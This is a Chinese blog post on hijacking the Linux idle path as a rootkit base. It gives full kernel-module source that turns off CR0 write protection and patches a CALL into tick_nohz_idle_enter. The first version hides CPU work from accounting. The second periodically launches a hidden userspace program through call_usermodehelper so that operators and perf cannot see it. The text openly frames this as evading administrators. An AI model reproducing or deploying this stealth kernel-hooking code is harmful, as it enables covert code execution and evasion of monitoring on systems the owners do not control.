劫持Linux idle进程做点自己的计算任务

前面谈过如何隐藏一个进程，我说过，隐藏procfs接口那无异于掩耳盗铃，正确的做法应该是将task_struct从任何链表中摘除，仅仅保留于run queue。

但CPU利用率会暴露你隐藏的进程…

于是hook掉CPU记账接口…

但是…

于是…

害怕被debug，封堵/dev/mem，/proc/kcore，封堵lkm，…

左右手互搏…目前防御手稍微占优势。

其实，还有一个好办法，即劫持idle，这样我们甚至可以不用管CPU记账程序， idle多当然好啊，运维们不正期望idle多吗？idle多没人会去perf的吧…

测试代码如下：

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>

char *stub;
char *addr = NULL;
static unsigned long base = 0;

void test_stub1(void)
{
    unsigned long i;

    local_bh_disable(); // 防止期间时钟中断记账到sys或者si。
    local_irq_disable();
    // 开始我们的计算任务。
    for (i = 0; i < 0xfffffff; i++) {
        base += jiffies;
    }
    if (jiffies % 0xf == 0) {
        printk("base is :%llx\n", base);
    }
    local_irq_enable();
    local_bh_enable();


}

#define FTRACE_SIZE    5
#define POKE_OFFSET    0
#define POKE_LENGTH    5

unsigned char *idle;

unsigned long cr0;
static int __init hotfix_init(void)
{
  unsigned char e8_call[POKE_LENGTH];
  s32 offset, i;

  idle = (void *)kallsyms_lookup_name("tick_nohz_idle_enter");

  stub = (void *)test_stub1;
  addr = (void *)idle;

  offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

  e8_call[0] = 0xe8;
  (*(s32 *)(&e8_call[1])) = offset;
  for (i = 5; i < POKE_LENGTH; i++) {
    e8_call[i] = 0x90;
  }
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);

  return 0;
}

static void __exit hotfix_exit(void)
{
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

需要注意的是，计算任务不能睡眠，不能schedule，不能太太太繁重，以免被perf发现。其实，如果机器在机房，电源风扇的轰鸣是可以掩盖CPU风扇的，不过液冷的话就要另想办法了。

我们看下效果吧。我用虚拟机测试，下面左边是宿主机，右边是虚拟机，没有劫持idle时的CPU利用率如下：

下面是劫持后的：

虽然右边虚拟机的CPU依然几乎全部都是idle，和未劫持时没有差别，然而宿主机的能耗骗不了人。笔记本的风扇噪声在加大，以至于我不得不用Macs Fan Control将风扇转速调低，然而铝壳正在变得发烫。

哪个是真的，哪个是假的，假亦真时真亦假…

我倒是觉得，idle作为Rootkit的根据地还是非常不错，如果你想执行一些 真正的任务 ，那就call usermodehelper呗，只要确保这个helper完成任务及时退出就行。

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>

char *stub;
char *addr = NULL;
static unsigned long base = 0;
static unsigned long last = 0;

void test_stub1(void)
{
    unsigned long i;
#if 0
    local_bh_disable();
    local_irq_disable();
    for (i = 0; i < 0xfffffff; i++) {
        base += jiffies;
    }
    if (jiffies % 0xf == 0) {
        printk("base is :%llx\n", base);
    }
    local_irq_enable();
    local_bh_enable();
#endif
    //if (jiffies % 1000 == 0 && last != jiffies) {
    if (jiffies - last >= 1000) {
        // /root/run 程序一定不要太犹豫，做完就走。且该程序要以某种方式使readdir无法显示。
        call_usermodehelper("/root/run", NULL, NULL, 0);
        last = jiffies;
    }
}

#define FTRACE_SIZE    5
#define POKE_OFFSET    0
#define POKE_LENGTH    5

unsigned char *idle;

unsigned long cr0;
static int __init hotfix_init(void)
{
  unsigned char e8_call[POKE_LENGTH];
  s32 offset, i;

  idle = (void *)kallsyms_lookup_name("tick_nohz_idle_enter");

  stub = (void *)test_stub1;
  addr = (void *)idle;

  offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

  e8_call[0] = 0xe8;
  (*(s32 *)(&e8_call[1])) = offset;
  for (i = 5; i < POKE_LENGTH; i++) {
    e8_call[i] = 0x90;
  }
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);

  return 0;
}

static void __exit hotfix_exit(void)
{
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

run的代码如下：

#include <fcntl.h>
int main(int argc, char **argv)
{
    int fd = open("/dev/pts/0", O_RDWR);
    write(fd, "aaaaaaaaa\n", 10);
}

效果就是在系统压力不大时，每隔大约1秒中在/dev/pts/0终端打印一串a。

如果run程序执行时间在作为human being的运维人员和经理的视角转瞬即逝的话，同时run又是一个隐藏文件的话，试问如何发现谁打出的a呢？

运维和经理打字敲回车以及他们的蛋白质眼睛无法分辨200ms以下的事件。

正如所料，接下来，我要对perf动手了。

浙江温州皮鞋湿，下雨进水不会胖。